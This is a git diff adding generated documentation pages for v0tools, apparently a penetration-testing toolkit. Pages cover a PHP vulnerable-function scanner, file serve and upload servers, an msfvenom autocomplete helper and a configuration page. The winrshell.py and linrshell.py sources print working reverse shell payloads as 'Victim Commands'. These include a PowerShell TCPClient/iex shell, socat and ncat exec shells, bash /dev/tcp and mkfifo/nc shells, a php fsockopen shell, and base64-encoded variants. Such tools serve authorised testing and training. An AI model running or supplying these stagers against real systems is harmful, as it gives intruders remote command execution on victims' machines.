+    # args = parser.parse_args(["-l"])
+    # args = parser.parse_args(["-i", "tun0", "-p", "36185"])
+    if args.list:
+        for k, func in SH_MAP.items():
+            print(f"{k}:")
+            for line in func.__doc__.split("\n"):
+                print(f"\t{line.strip()}")
+        raise SystemExit()
+    args.rstr = util.randstr()
+    args.fzf = FzfPrompt()
+    if not args.rshell:
+        args.rshell = args.fzf.prompt(SH_MAP.keys())[0]
+    main(args)
+
+
+
+ +
+ + +
+ + + + + + + + + + + + + + + + + + + + + +
+
+ + + +
+ + + + + + + + + + + + + + + + diff --git a/docs/public/commands/php_search_vuln/index.html b/docs/public/commands/php_search_vuln/index.html new file mode 100644 index 0000000..bda9264 --- /dev/null +++ b/docs/public/commands/php_search_vuln/index.html @@ -0,0 +1,851 @@ + + + + + + + + + + + + + + + + + php_search_vuln.py | v0tools + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + +
+
+ + + + + + + v0tools + + +
+ + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + +
+
+
+ + +
+ + + + +
+ + + + + + + + + + + +
+ +
+ + +
+ + +
+ + +
+

php_search_vuln.py

+
+

Search for vulnerable calls / strings in php code.

+

Example Repo: https://github.com/OWASP/Vulnerable-Web-Application.git

+
+ + + + +
+ + + +
+
+ +
+ +
+ + + +
+
usage: php_search_vuln.py [-h] [--filter FILTER] [--inc_lines INC_LINES] path
+
+Search for vulnerable calls / strings in php code.
+
+Example Repo: https://github.com/OWASP/Vulnerable-Web-Application.git
+
+positional arguments:
+  path                  Directory or file path.
+
+optional arguments:
+  -h, --help            show this help message and exit
+  --filter FILTER, -f FILTER
+                        i.e. *.php or *.py
+  --inc_lines INC_LINES, -l INC_LINES
+                        number of lines to include before / after match
+
+
+ + + +
+
#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""Search for vulnerable calls / strings in php code.
+
+Example Repo: https://github.com/OWASP/Vulnerable-Web-Application.git
+"""
+from v0tools import exceptions
+from v0tools.ansi import green, red, magenta
+from v0tools.lib.filesystem import iterfiles
+from v0tools.cli import Cli
+
+VULN_STRINGS = {
+    # str: url (if applicable)
+    # "${": None,
+    b"eval": None,
+    b"assert": None,
+    b"preg_replace": None,
+    b"create_function": None,
+    b"include": None,
+    b"require": None,
+    b"ReflectionFunction": None,
+    b"invoke": None,
+    b"serialize": b"https://book.hacktricks.xyz/pentesting-web/deserialization#php",
+}
+
+cli = Cli()
+
+parser = cli.parser
+cli.add_path()
+
+parser.add_argument(
+    "--filter",
+    "-f",
+    help="i.e. *.php or *.py",
+    default="*.php",
+    type=str,
+)
+parser.add_argument(
+    "--inc_lines",
+    "-l",
+    help="number of lines to include before / after match",
+    type=int,
+    default=3,
+)
+
+
+def _check_vuln(filename, args):
+    with open(filename, "rb") as fileh:
+        lines = list(fileh.readlines())
+        for idx, line in enumerate(lines):
+            for cstr, url in VULN_STRINGS.items():
+                if cstr in line:
+                    retlines = lines[idx - args.inc_lines : idx + args.inc_lines]
+                    yield idx, retlines, cstr, url
+
+
+def main(args):
+    """Run main function."""
+    files = []
+    fcnt = 0
+    for filename in iterfiles(args.path, args.filter):
+        fcnt += 1
+        for idx, lines, cstr, url in _check_vuln(filename, args):
+            url = green(url) if url else ""
+            title = magenta(f"\n{filename} : {idx} {url}\n")
+            print(title)
+            output = b"".join(lines).replace(cstr, red(cstr.decode()).encode())
+            for line in output.splitlines():
+                print(f"   {line.decode()}")
+            files.append([idx, filename])
+    if fcnt == 0:
+        raise exceptions.NoAction(
+            "No files were scanned, maybe try adjusting the filter?"
+        )
+    if not files:
+        raise exceptions.NoAction(f"Could not find any vulns in dir {args.path}")
+    print("\n\n")
+    vimcmd = ["vim"] + [f'-c "tabnew +{ln + 1} {fn}"' for ln, fn in files]
+    print(magenta(" ".join(vimcmd)))
+
+
+cli.set_entrypoint(main)
+
+if __name__ == "__main__":
+    args = cli.get_parse()
+    # args = cli.get_parse("--help")
+    # args = cli.get_parse("~/repos/Vulnerable-Web-Application -f '*.php' -l 3")
+    cli.run(args)
+
+
+
+ +
+ + +
+ + + + + + + + + + + + + + + + + + + + + +
+
+ + + +
+ + + + + + + + + + + + + + + + diff --git a/docs/public/commands/unicodes/index.html b/docs/public/commands/unicodes/index.html new file mode 100644 index 0000000..9465b49 --- /dev/null +++ b/docs/public/commands/unicodes/index.html @@ -0,0 +1,807 @@ + + + + + + + + + + + + + + + + + unicodes.py | v0tools + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + +
+
+ + + + + + + v0tools + + +
+ + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + +
+
+
+ + +
+ + + + +
+ + + + + + + + + + + +
+ +
+ + +
+ + +
+ + +
+

unicodes.py

+
+

print unicode values and associated information to stdout.

+
+ + + + +
+ + + +
+
+ +
+ +
+ + + +
+
usage: unicodes.py [-h] [-f [FILTER ...]]
+
+print unicode values and associated information to stdout.
+
+example:
+    unicodes.py | fzf
+
+optional arguments:
+  -h, --help            show this help message and exit
+  -f [FILTER ...], --filter [FILTER ...]
+                        Filter string
+
+
+ + + +
+
#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""print unicode values and associated information to stdout."""
+from v0tools import chars, cli
+import os
+
+dstring = f"""
+{__doc__}
+
+example:
+    {os.path.basename(__file__)} | fzf
+"""
+
+cli = cli.Cli(dstring)
+parser = cli.parser
+
+parser.add_argument(
+    "-f",
+    "--filter",
+    nargs="*",
+    help="Filter string",
+    action="append",
+    type=str,
+    required=False,
+    default=None,
+)
+
+
+def main(args):
+    """Run main function."""
+    if args.filter:
+        fvalues = [i[0] for i in args.filter]
+    else:
+        fvalues = []
+    for _, i in enumerate(chars.unicodes()):
+        _int, _hex, _chr, name, uval, htmlent = i.values()
+        line = f"{_chr} {name} int:{_int} hex:{_hex.zfill(2)} {uval} {htmlent}"
+        if not fvalues:
+            print(line, flush=True)
+            continue
+        if all([i in line for i in fvalues]):
+            print(line, flush=True)
+
+
+cli.set_entrypoint(main)
+
+if __name__ == "__main__":
+    args = cli.get_parse()
+    # args = cli.get_parse(["-f", "cat", "-f", "grin"])
+    cli.run(args)
+    # args = cli.get_parse("--help")
+
+
+
+ +
+ + +
+ + + + + + + + + + + + + + + + + + + + + +
+
+ + + +
+ + + + + + + + + + + + + + + + diff --git a/docs/public/commands/v0_bash_complete_msfvenom/index.html b/docs/public/commands/v0_bash_complete_msfvenom/index.html new file mode 100644 index 0000000..68ab379 --- /dev/null +++ b/docs/public/commands/v0_bash_complete_msfvenom/index.html @@ -0,0 +1,771 @@ + + + + + + + + + + + + + + + + + v0_bash_complete_msfvenom.py | v0tools + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + +
+
+ + + + + + + v0tools + + +
+ + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + +
+
+
+ + +
+ + + + +
+ + + + + + + + + + + +
+ +
+ + +
+ + +
+ + +
+

v0_bash_complete_msfvenom.py

+
+

Sourceable Autocomplete for msfvenom flags.

+
+ + + + +
+ + + +
+
+ +
+ +
+ + + +
+
usage: v0_bash_complete_msfvenom.py [-h]
+
+Sourceable Autocomplete for msfvenom flags.
+
+optional arguments:
+  -h, --help  show this help message and exit
+
+
+ + + +
+
#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""Sourceable Autocomplete for msfvenom flags."""
+from v0tools.msf import get_venom_auto_complete
+from v0tools.cli import Cli
+
+
+def main(args):
+    """Run main function."""
+    print("##### Venom Autocomplete", flush=True)
+    print(get_venom_auto_complete(), flush=True)
+
+
+cli = Cli()
+cli.set_entrypoint(main)
+cli.set_required_binaries(["msfvenom"])
+
+if __name__ == "__main__":
+    args = cli.get_parse()
+    cli.run(args)
+
+
+
+ +
+ + +
+ + + + + + + + + + + + + + + + + + + + + +
+
+ + + +
+ + + + + + + + + + + + + + + + diff --git a/docs/public/commands/v0serv/index.html b/docs/public/commands/v0serv/index.html new file mode 100644 index 0000000..e4c858f --- /dev/null +++ b/docs/public/commands/v0serv/index.html @@ -0,0 +1,798 @@ + + + + + + + + + + + + + + + + + v0serv.py | v0tools + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + +
+
+ + + + + + + v0tools + + +
+ + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + +
+
+
+ + +
+ + + + +
+ + + + + + + + + + + +
+ +
+ + +
+ + +
+ + +
+

v0serv.py

+
+

HTTP Serve a directory, or serve a single isolated file.

+
+ + + + +
+ + + +
+
+ +
+ +
+ + + +
+
usage: v0serv.py [-h] [--interface INTERFACE] [--ipv {4,6}] [-p PORT] [-d {none,certutil,ps-download,ps-exec}] path
+
+HTTP Serve a directory, or serve a single isolated file.
+
+positional arguments:
+  path                  Directory or file path.
+
+optional arguments:
+  -h, --help            show this help message and exit
+  --interface INTERFACE, -i INTERFACE
+                        network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear
+  --ipv {4,6}           IP Version
+  -p PORT, --port PORT  Directory or file path.
+  -d {none,certutil,ps-download,ps-exec}, --display {none,certutil,ps-download,ps-exec}
+                        display type
+
+
+ + + +
+
#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""HTTP Serve a directory, or serve a single isolated file."""
+from v0tools import cli
+from v0tools.servers import httpserv
+
+cli = cli.Cli(__doc__)
+cli.add_path()
+cli.add_ipv_interface()
+cli.add_port()
+parser = cli.parser
+
+parser.add_argument(
+    "-d",
+    "--display",
+    help="display type",
+    choices=httpserv.SERV_PREFIXES.keys(),
+    default="none",
+    type=str,
+)
+
+
+def main(args):
+    """Run main function."""
+    httpserv.serve(
+        args.address,
+        str(args.port),
+        args.path,
+        args.display,
+    )
+
+
+cli.set_entrypoint(main)
+
+if __name__ == "__main__":
+    args = cli.get_parse()
+    # args = cli.get_parse("-i lo ./")
+    cli.run(args)
+
+
+
+ +
+ + +
+ + + + + + + + + + + + + + + + + + + + + +
+
+ + + +
+ + + + + + + + + + + + + + + + diff --git a/docs/public/commands/v0upload/index.html b/docs/public/commands/v0upload/index.html new file mode 100644 index 0000000..8692bf9 --- /dev/null +++ b/docs/public/commands/v0upload/index.html @@ -0,0 +1,786 @@ + + + + + + + + + + + + + + + + + v0upload.py | v0tools + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + +
+
+ + + + + + + v0tools + + +
+ + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + +
+
+
+ + +
+ + + + +
+ + + + + + + + + + + +
+ +
+ + +
+ + +
+ + +
+

v0upload.py

+
+

HTTP server that accepts PUT requests from remotes.

+
+ + + + +
+ + + +
+
+ +
+ +
+ + + +
+
usage: v0upload.py [-h] [--interface INTERFACE] [--ipv {4,6}] [-p PORT] path
+
+HTTP server that accepts PUT requests from remotes.
+
+positional arguments:
+  path                  Directory or file path.
+
+optional arguments:
+  -h, --help            show this help message and exit
+  --interface INTERFACE, -i INTERFACE
+                        network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear
+  --ipv {4,6}           IP Version
+  -p PORT, --port PORT  Directory or file path.
+
+
+ + + +
+
#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""HTTP server that accepts PUT requests from remotes."""
+from v0tools import cli
+from v0tools.servers import httpserv
+
+cli = cli.Cli()
+cli.add_path()
+cli.add_ipv_interface()
+cli.add_port()
+
+parser = cli.parser
+
+
+def main(args):
+    """Run main function."""
+    httpserv.uploader(
+        args.address,
+        str(args.port),
+        args.path,
+    )
+
+
+cli.set_entrypoint(main)
+
+if __name__ == "__main__":
+    args = cli.get_parse()
+    main(args)
+
+
+
+ +
+ + +
+ + + + + + + + + + + + + + + + + + + + + +
+
+ + + +
+ + + + + + + + + + + + + + + + diff --git a/docs/public/commands/winrshell/index.html b/docs/public/commands/winrshell/index.html new file mode 100644 index 0000000..32c8a2a --- /dev/null +++ b/docs/public/commands/winrshell/index.html @@ -0,0 +1,897 @@ + + + + + + + + + + + + + + + + + winrshell.py | v0tools + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + +
+
+ + + + + + + v0tools + + +
+ + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + +
+
+
+ + +
+ + + + +
+ + + + + + + + + + + +
+ +
+ + +
+ + +
+ + +
+

winrshell.py

+
+

Windows Reverse Shell stager.

+
+ + + + +
+ + + +
+
+ +
+ +
+ + + +
+
usage: winrshell.py [-h] [-p PORT] [--interface INTERFACE] [--ipv {4,6}] [--rshell RSHELL] [--list]
+
+Windows Reverse Shell stager.
+
+optional arguments:
+  -h, --help            show this help message and exit
+  -p PORT, --port PORT  Directory or file path.
+  --interface INTERFACE, -i INTERFACE
+                        network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear
+  --ipv {4,6}           IP Version
+  --rshell RSHELL, -s RSHELL
+                        Reverse shell type psh,conpty
+  --list, -l            List reverse shell types
+
+
+ + + +
+
#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""Windows Reverse Shell stager."""
+import argparse
+from v0tools.lib import util
+from v0tools import ansi, net, fzfhelper, syspkgs
+from v0tools.lib.util import powershell_base64_encode
+from pyfzf.pyfzf import FzfPrompt
+from v0tools.servers import httpserv
+from v0tools import Config, cli
+import os
+import time
+
+SAVE = r"""
+New-Object System.Net.Sockets.TCPClient('__IP__',__PORT__);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
+"""
+
+PSCMDS = r"""
+$client = New-Object System.Net.Sockets.TCPClient('__IP__',__PORT__);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
+"""
+
+
+def _rawshell(args):
+    """Raw Cons shell listener
+
+    Runs: stty raw -echo; (stty size; cat) | nc -lvnp {args.port}
+    """
+    rows, cols = util.term_rows_cols()
+    file = Config.V0_POWERSHELL_CONPTY()
+    # Random port for temporary serv
+    port = util.randport()
+    psurl = httpserv.powershell_serv(args.address, str(port), file)
+    pscmd = f"IEX({psurl}); Invoke-ConPtyShell -RemoteIp {args.address} -RemotePort {args.port} -Rows {rows} -Cols {cols}"
+    remote_commands = [
+        f"powershell -nop -c {pscmd}",
+        f"powershell -nop -e {powershell_base64_encode(pscmd)}",
+    ]
+    lcmd = f"stty raw -echo; (stty size; cat) | nc -lvnp {args.port}"
+    _print_remote(remote_commands)
+    _print_local(lcmd)
+    # small delay to allow the above stuff to finish before the raw terminal
+    # makes stuff look wonky
+    time.sleep(2)
+    os.system(lcmd)
+    # Reset the tty
+    os.system("stty sane")
+
+
+def _powershell(args):
+    """Powershell reverse shell listener
+
+    Runs: rlwrap socat tcp-listen:"{args.port}" STDOUT
+    """
+
+    def _repl(src, address, port):
+        return src.strip().replace("__IP__", address).replace("__PORT__", str(port))
+
+    pscmds = [
+        _repl(i, args.address, args.port) for i in PSCMDS.splitlines() if i.strip()
+    ]
+
+    remote_commands = [
+        f"socat TCP4:{args.address}:{args.port} EXEC:'cmd.exe',pipes",
+        f"socat TCP4:{args.address}:{args.port} EXEC:'powershell.exe',pipes",
+        f"ncat.exe {args.address} {args.port} -e powershell.exe",
+        f"ncat.exe {args.address} {args.port} -e cmd.exe",
+    ]
+
+    for i in pscmds:
+        remote_commands.append(f'powershell -nop -c "{i}"')
+        remote_commands.append(f"powershell -nop -e {powershell_base64_encode(i)}")
+
+    lcmd = f'rlwrap socat tcp-listen:"{args.port}" STDOUT'
+    _print_remote(remote_commands)
+    _print_local(lcmd)
+    os.system(lcmd)
+
+
+SH_MAP = {
+    "psh": _powershell,
+    "conpty": _rawshell,
+}
+
+cli = cli.Cli()
+cli.add_port()
+cli.add_ipv_interface()
+parser = cli.parser
+
+parser.add_argument(
+    "--rshell",
+    "-s",
+    help=f"Reverse shell type {','.join(SH_MAP.keys())}",
+    type=str,
+)
+
+parser.add_argument(
+    "--list",
+    "-l",
+    help="List reverse shell types",
+    action="store_true",
+    default=False,
+)
+
+
+def _print_remote(remote_commands):
+    print(ansi.banner("Victim Commands:"))
+    for i in remote_commands:
+        print(f"{i}\n")
+
+
+def _print_local(lcmd):
+    print(ansi.banner(f"Starting listener: {lcmd}"))
+
+
+def main(args):
+    """Run main function."""
+    SH_MAP[args.rshell](args)
+
+
+if __name__ == "__main__":
+    syspkgs.check_installs(["nc", "socat", "rlwrap"])
+    args = cli.get_parse()
+    # args = parser.parse_args(["-l"])
+    # args = parser.parse_args(["-i", "tun0", "-p", "36185"])
+    # args = parser.parse_args(["-i", "tun0"])
+    if args.list:
+        for k, func in SH_MAP.items():
+            print(f"{k}:")
+            for line in func.__doc__.split("\n"):
+                print(f"\t{line.strip()}")
+        raise SystemExit()
+    args.rstr = util.randstr()
+    args.fzf = FzfPrompt()
+    if not args.rshell:
+        if len(SH_MAP) == 1:
+            args.rshell = list(SH_MAP.keys())[0]
+        else:
+            args.rshell = args.fzf.prompt(SH_MAP.keys())[0]
+    main(args)
+
+
+
+ +
+ + +
+ + + + + + + + + + + + + + + + + + + + + +
+
+ + + +
+ + + + + + + + + + + + + + + + diff --git a/docs/public/configuration/index.html b/docs/public/configuration/index.html new file mode 100644 index 0000000..1fca9f9 --- /dev/null +++ b/docs/public/configuration/index.html @@ -0,0 +1,719 @@ + + + + + + + + + + + + + + + + + Configuration | v0tools + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + +
+
+ + + + + + + v0tools + + +
+ + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + +
+
+
+ + +
+ + + + +
+ + + + + + + + + + + +
+ +
+ + +
+ + +
+ + +
+

Configuration

+
+

+ Environment Variable Configuration Values + + + +

+

+ V0_POWERSHELL_CONPTY +
+ +Location of Invoke-ConPtyShell.ps1

+

see: :: +https://github.com/antonioCoco/ConPtyShell +

+ V0_USER +
+ +Default identifier on the victim machines Default: V0_Rando. +
+ V0_VENOM_CACHE +
+ +MSF Venom cache for autocomplete and functions +Default ~/.msfvenom_cache.json

+ +
+ + + + + + + + + + + + + + + + + + + + + +
+
+ + + +
+ + + + + + + + + + + + + + + + diff --git a/docs/public/configuration/index.xml b/docs/public/configuration/index.xml new file mode 100644 index 0000000..5186f68 --- /dev/null +++ b/docs/public/configuration/index.xml @@ -0,0 +1,9 @@ + + + + Configuration on v0tools + https://v0tools.stev0.me/configuration/ + Recent content in Configuration on v0tools + Hugo -- gohugo.io + + diff --git a/docs/public/custom.css b/docs/public/custom.css new file mode 100644 index 0000000..8b64516 --- /dev/null +++ b/docs/public/custom.css @@ -0,0 +1,69 @@ +/* You can add custom styles here. */ +video { + /* override other styles to make responsive */ + width: 100% !important; + height: auto !important; +} +/* Global customization */ + +:root { + --code-max-height: 60rem; +} + +/* Dark mode theming */ +:root[color-mode="dark"] { + --header-background: black; + --header-font-color: #ffffff; + + --body-background: black; + --body-font-color: white; + + --button-background: #62cb97; + --button-border-color: #4ec58a; + + --link-color: red; + --link-color-visited: salmon; + + --code-background: black; + --code-accent-color: #262b2f; + --code-accent-color-lite: #2b3035; + + --accent-color: #2b3035; + --accent-color-lite: #2f353a; + + --control-icons: #b2bac1; + + --footer-background: #2f333e; + --footer-font-color: #ffffff; + --footer-link-color: #ffcc5c; + --footer-link-color-visited: #ffcc5c; +} +@media (prefers-color-scheme: dark) { + :root { + --header-background: #4ec58a; + --header-font-color: #ffffff; + + --body-background: #343a40; + --body-font-color: #ced3d8; + + --button-background: #62cb97; + --button-border-color: #4ec58a; + + --link-color: #7ac29e; + --link-color-visited: #c27a9e; + + --code-background: #2f353a; + --code-accent-color: #262b2f; + --code-accent-color-lite: #2b3035; + + --accent-color: #2b3035; + --accent-color-lite: #2f353a; + + --control-icons: #b2bac1; + + --footer-background: #2f333e; + --footer-font-color: #ffffff; + --footer-link-color: #ffcc5c; + --footer-link-color-visited: #ffcc5c; + } +} diff --git a/docs/public/en.search-data.min.json b/docs/public/en.search-data.min.json new file mode 100644 index 0000000..18ae6d0 --- /dev/null +++ b/docs/public/en.search-data.min.json @@ -0,0 +1 @@ +[{"id":0,"href":"/configuration/","title":"Configuration","parent":"Home","content":"Environment Variable Configuration Values V0_POWERSHELL_CONPTY Location of Invoke-ConPtyShell.ps1\nsee: :: https://github.com/antonioCoco/ConPtyShell V0_USER Default identifier on the victim machines Default: V0_Rando. V0_VENOM_CACHE MSF Venom cache for autocomplete and functions Default ~/.msfvenom_cache.json\n"},{"id":1,"href":"/sys_prerequisites/","title":"System Install Prerequisites","parent":"Home","content":"System Install Prerequisites Arch Debian Fedora "},{"id":2,"href":"/commands/linrshell/","title":"linrshell.py","parent":"Commands","content":" Linux Reverse Shell stager.\n Screencast Help usage: linrshell.py [-h] [--interface INTERFACE] [--ipv {4,6}] [-p PORT] [--rshell RSHELL] [--list] Linux Reverse Shell stager. optional arguments: -h, --help show this help message and exit --interface INTERFACE, -i INTERFACE network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear --ipv {4,6} IP Version -p PORT, --port PORT Directory or file path. --rshell RSHELL, -s RSHELL Reverse shell type nc,socat --list, -l List reverse shell types Source #!/usr/bin/env python3 # -*- coding: utf-8 -*- \u0026#34;\u0026#34;\u0026#34;Linux Reverse Shell stager.\u0026#34;\u0026#34;\u0026#34; import argparse from v0tools.lib import util from v0tools import ansi, syspkgs, cli from base64 import b64encode from pyfzf.pyfzf import FzfPrompt import os def _socat(args): \u0026#34;\u0026#34;\u0026#34;Raw TTY socat listener Runs: socat file:`tty`,raw,echo=0 tcp-listen:{args.port} \u0026#34;\u0026#34;\u0026#34; remote_commands = [ f\u0026#34;socat exec:\u0026#39;__SH__ -i\u0026#39;,pty,stderr,setsid,sigint,sane tcp:{args.address}:{args.port}\u0026#34;, ] lcmd = f\u0026#34;socat file:`tty`,raw,echo=0 tcp-listen:{args.port}\u0026#34; _print_remote(remote_commands) _print_local(lcmd) os.system(lcmd) def _nc(args): \u0026#34;\u0026#34;\u0026#34;Netcat Listener Runs: nc -nklv {args.address} {args.port}\u0026#34; \u0026#34;\u0026#34;\u0026#34; lcmd = f\u0026#34;nc -nklv {args.address} {args.port}\u0026#34; remote_commands = [ f\u0026#34;__SH__ -i \u0026gt;\u0026amp; /dev/tcp/{args.address}/{args.port} 0\u0026gt;\u0026amp;1\u0026#34;, f\u0026#34;mkfifo /tmp/{args.rstr};cat /tmp/{args.rstr}|__SH__ -i 2\u0026gt;\u0026amp;1|nc {args.address} {args.port} /tmp/{args.rstr}\u0026#34;, f\u0026#39;php -r \\\u0026#39;$sock=fsockopen(\u0026#34;{args.address}\u0026#34;,{args.port});exec(\u0026#34;__SH__ -i \u0026lt;\u0026amp;3 \u0026gt;\u0026amp;3 2\u0026gt;\u0026amp;3\u0026#34;);\\\u0026#39;\u0026#39;, ] _print_remote(remote_commands) _print_local(lcmd) os.system(lcmd) SH_MAP = { \u0026#34;nc\u0026#34;: _nc, \u0026#34;socat\u0026#34;: _socat, } cli = cli.Cli() parser = cli.parser cli.add_ipv_interface() cli.add_port() parser.add_argument( \u0026#34;--rshell\u0026#34;, \u0026#34;-s\u0026#34;, help=f\u0026#34;Reverse shell type {\u0026#39;,\u0026#39;.join(SH_MAP.keys())}\u0026#34;, type=str, ) parser.add_argument( \u0026#34;--list\u0026#34;, \u0026#34;-l\u0026#34;, help=\u0026#34;List reverse shell types\u0026#34;, action=\u0026#34;store_true\u0026#34;, default=False, ) def _print_remote(remote_commands): print(ansi.banner(\u0026#34;Victim Commands:\u0026#34;)) for sh in [\u0026#34;sh\u0026#34;, \u0026#34;bash\u0026#34;]: print(ansi.section(sh)) for i in remote_commands: sval = f\u0026#34;{i}\u0026#34;.replace(\u0026#34;__SH__\u0026#34;, sh) print(f\u0026#34;{sval} \u0026amp;\u0026#34;) print(f\u0026#34;echo {b64encode(sval.encode()).decode()} | base64 -d | {sh} \u0026amp;\u0026#34;) print() def _print_local(lcmd): print(ansi.banner(\u0026#34;Victim staging copy pasta:\u0026#34;)) print(util.rshell_stagetxt()) print(ansi.banner(f\u0026#34;Starting listener: {lcmd}\u0026#34;)) def main(args): \u0026#34;\u0026#34;\u0026#34;Run main function.\u0026#34;\u0026#34;\u0026#34; SH_MAP[args.rshell](args) if __name__ == \u0026#34;__main__\u0026#34;: args = cli.get_parse() syspkgs.check_installs([\u0026#34;nc\u0026#34;, \u0026#34;socat\u0026#34;]) # args = parser.parse_args([\u0026#34;-l\u0026#34;]) # args = parser.parse_args([\u0026#34;-i\u0026#34;, \u0026#34;tun0\u0026#34;, \u0026#34;-p\u0026#34;, \u0026#34;36185\u0026#34;]) if args.list: for k, func in SH_MAP.items(): print(f\u0026#34;{k}:\u0026#34;) for line in func.__doc__.split(\u0026#34;\\n\u0026#34;): print(f\u0026#34;\\t{line.strip()}\u0026#34;) raise SystemExit() args.rstr = util.randstr() args.fzf = FzfPrompt() if not args.rshell: args.rshell = args.fzf.prompt(SH_MAP.keys())[0] main(args) "},{"id":3,"href":"/commands/winrshell/","title":"winrshell.py","parent":"Commands","content":" Windows Reverse Shell stager.\n Screencast Help usage: winrshell.py [-h] [-p PORT] [--interface INTERFACE] [--ipv {4,6}] [--rshell RSHELL] [--list] Windows Reverse Shell stager. optional arguments: -h, --help show this help message and exit -p PORT, --port PORT Directory or file path. --interface INTERFACE, -i INTERFACE network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear --ipv {4,6} IP Version --rshell RSHELL, -s RSHELL Reverse shell type psh,conpty --list, -l List reverse shell types Source #!/usr/bin/env python3 # -*- coding: utf-8 -*- \u0026#34;\u0026#34;\u0026#34;Windows Reverse Shell stager.\u0026#34;\u0026#34;\u0026#34; import argparse from v0tools.lib import util from v0tools import ansi, net, fzfhelper, syspkgs from v0tools.lib.util import powershell_base64_encode from pyfzf.pyfzf import FzfPrompt from v0tools.servers import httpserv from v0tools import Config, cli import os import time SAVE = r\u0026#34;\u0026#34;\u0026#34; New-Object System.Net.Sockets.TCPClient(\u0026#39;__IP__\u0026#39;,__PORT__);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2\u0026gt;\u0026amp;1 | Out-String );$sendback2 = $sendback + \u0026#39;PS \u0026#39; + (pwd).Path + \u0026#39;\u0026gt; \u0026#39;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() \u0026#34;\u0026#34;\u0026#34; PSCMDS = r\u0026#34;\u0026#34;\u0026#34; $client = New-Object System.Net.Sockets.TCPClient(\u0026#39;__IP__\u0026#39;,__PORT__);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2\u0026gt;\u0026amp;1 | Out-String );$sendback2 = $sendback + \u0026#39;PS \u0026#39; + (pwd).Path + \u0026#39;\u0026gt; \u0026#39;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() \u0026#34;\u0026#34;\u0026#34; def _rawshell(args): \u0026#34;\u0026#34;\u0026#34;Raw Cons shell listener Runs: stty raw -echo; (stty size; cat) | nc -lvnp {args.port} \u0026#34;\u0026#34;\u0026#34; rows, cols = util.term_rows_cols() file = Config.V0_POWERSHELL_CONPTY() # Random port for temporary serv port = util.randport() psurl = httpserv.powershell_serv(args.address, str(port), file) pscmd = f\u0026#34;IEX({psurl}); Invoke-ConPtyShell -RemoteIp {args.address} -RemotePort {args.port} -Rows {rows} -Cols {cols}\u0026#34; remote_commands = [ f\u0026#34;powershell -nop -c {pscmd}\u0026#34;, f\u0026#34;powershell -nop -e {powershell_base64_encode(pscmd)}\u0026#34;, ] lcmd = f\u0026#34;stty raw -echo; (stty size; cat) | nc -lvnp {args.port}\u0026#34; _print_remote(remote_commands) _print_local(lcmd) # small delay to allow the above stuff to finish before the raw terminal # makes stuff look wonky time.sleep(2) os.system(lcmd) # Reset the tty os.system(\u0026#34;stty sane\u0026#34;) def _powershell(args): \u0026#34;\u0026#34;\u0026#34;Powershell reverse shell listener Runs: rlwrap socat tcp-listen:\u0026#34;{args.port}\u0026#34; STDOUT \u0026#34;\u0026#34;\u0026#34; def _repl(src, address, port): return 